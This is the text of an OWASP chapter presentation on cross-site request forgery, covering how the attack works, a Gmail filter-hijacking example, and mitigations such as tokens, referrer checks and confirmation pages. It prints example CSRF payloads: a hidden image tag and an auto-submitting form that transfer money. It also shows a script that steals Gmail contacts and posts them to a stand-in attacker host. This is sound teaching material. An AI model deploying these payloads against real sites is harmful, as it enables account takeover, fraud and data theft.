



Cross-site Request Forgery (CSRF)

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OWASP

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Agenda

- About the CSRF vulnerability
- Example of CSRF attack
- How to mitigate CSRF vulnerabilities
- Live Demo – Hacme CU


About CSRF

- Discovered in 2001
- Number 5 in the OWASP Top 10 (2007)
- Incredibly easy to exploit
- Most websites are vulnerable
- Attacks are on the upswing

What is CSRF?

- An attack that forces an user's browser to send requests they didn't intend to make
 - ▶ *To a website that the user is currently authenticated to*
 - ▶ *To trigger an action without the user's consent*
 - E.g. transfer of money, change of password, etc....
- Typically requires attacker to have prior access to and knowledge of the vulnerable application

How the web works...



What is CSRF?


■ Invisible IMG tags (GET)

```
<img src=http://fictitiousbank.com/transfer?  
fromaccount=Bob&toaccount=MrHacker&Amount=1000  
width="1" height="1">
```


■ Form (POST)

```
<form name="badform" method="post"  
  action="http://fictitiousbank.com/transfer">  
  <input type="hidden" name="fromaccount" value="Bob">  
  <input type="hidden" name="toaccount" value="MrHacker">  
  <input type="hidden" name="Amount" value="1000">  
</form>  
<script>document.badform.submit()</script>
```


Anatomy of a CSRF Attack




Anatomy of a CSRF Attack




Anatomy of a CSRF Attack



Anatomy of a CSRF Attack



Anatomy of a CSRF Attack



Real World Example – Gmail Filters

- Email hijacking technique using Gmail filters
 1. User logs into Gmail
 2. User visits a site hosting Gmail CSRF attack code
 3. User submits request to Gmail, creating a filter to forward all mail to hacker

Gmail
by Google BETA

Create a Filter

Choose action - Now, select the action you'd like to take on messages that match the criteria you specified.
When a message arrives that matches the search: `from:(*)`, do the following:

- Skip the Inbox (Archive it)
- Mark as read
- Star it
- Apply the label: Choose label...
- Forward it to:
- Delete it
- Never send it to Spam

[Show current filters](#)
Note: old mail will not be forwarded

Also apply filter to 5000 conversations below.

<http://www.davidairey.com/google-gmail-security-hijack/>

CSRF Mitigation

CSRF Mitigation - Users

- Logoff when you are done using a site!
- Use multiple browsers, E.g.
 - ▶ One for accessing sensitive sites/applications
 - ▶ One for surfing freely

CSRF Mitigation – Developers

■ Make actions that have effects accept POST requests only

- ▶ Many sites restrict the html that users can create, but still allow arbitrary IMG tags
 - tags only support GET request
- ▶ Javascript, Actionscript, etc. can invisibly submit POST requests

■ Check the referrer header

- ▶ Cannot control/forge from Javascript
- ▶ Not always present (firewalls, browsers, etc...)

CSRF Mitigation – Developers

■ Session time outs

- ▶ After some period of inactivity, logoff the user

■ Confirmation pages

- ▶ *Are you sure you want to transfer \$1000?*

■ CAPTCHA

■ Add Session-related information to URLs

- ▶ Makes it extremely difficult for an attacker to know/predict the structure of the URLs to attack

■ Random, One-time tokens in forms


Demo Time

Demo App

■ Hacme Credit Union

- ▶ Written in PHP, MySQL backend, About 200 LOC
- ▶ Online banking for the minimalist...
 - Show balance
 - Show transaction history
 - **Pay bill**
 - Logoff

Demo App – Bill Payment



- Demonstrate intended functionality
- Demonstrate CSRF Attack
- Explain Mitigation

Reminders

- Next Meeting in Sept/October
- Topic Requests?
- OWASP Appsec 2009
 - ▶ Washington D.C., Late November)

Questions, Comments, Thoughts?

Presentations will be online:

<http://www.owasp.org/index.php/Suncoast>

Thank you for attending!

References

■ RSA 2008 Breifing by J. Grossman

- ▶ <http://www.slideshare.net/guestdb261a/csrfrsa2008jeremiahgrossman-349028/>

■ J. Grossman's Blog on Gmail CSRF

- ▶ <http://jeremiahgrossman.blogspot.com/2007/01/gmail-xsrf-json-call-back-hackery.html>

Gmail CSRF Vulnerability2

All your *contacts* are belong to us

- The problem: Gmail's response to following GET request
 - ▶ <http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999>

The returned page looked like this:

```
Gmail_csrf.txt - Notepad
File Edit Format View Help
google ({
  Success: true,
  Errors: [],
  Body: {
    AuthToken: {
      Value: '*****'
    },
    Contacts: [
      {
        Id: '***',
        Email: 'users at dwr.dev.java.net',
        Affinity: '***',
        Groups: [
          {
            id: '^Freq',
            value: 'users at dwr.dev.java.net'
          }
        ],
        Addressess: [],
        Phoness: [],
        Imss: []
      },
      // Lots more contacts here
    ]
  }
})
```

Gmail CSRF Vulnerability2

All your *contacts* are belong to us

- Pages like this started to appear on malicious & compromised websites....

```
Gmail_csrf2.txt - Notepad
File Edit Format View Help
<html>
.
.
<script type="text/javascript">
function google(data){ // (Re)declare the google() function
    var body, i;
    for (i = 0; i < data.Body.Contacts.length; i++) {
        body += data.Body.Contacts[i].Email + "\n";
    }
    var xhr = new XMLHttpRequest("Microsoft.XMLHTTP");
    xhr.open("POST", "http://evilspammerservice.com/catcher");
    xhr.send(body);
}
</script>
<script type="text/javascript"
src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
</script>
.
.
</html>
```

// Send contact info to
// bad guys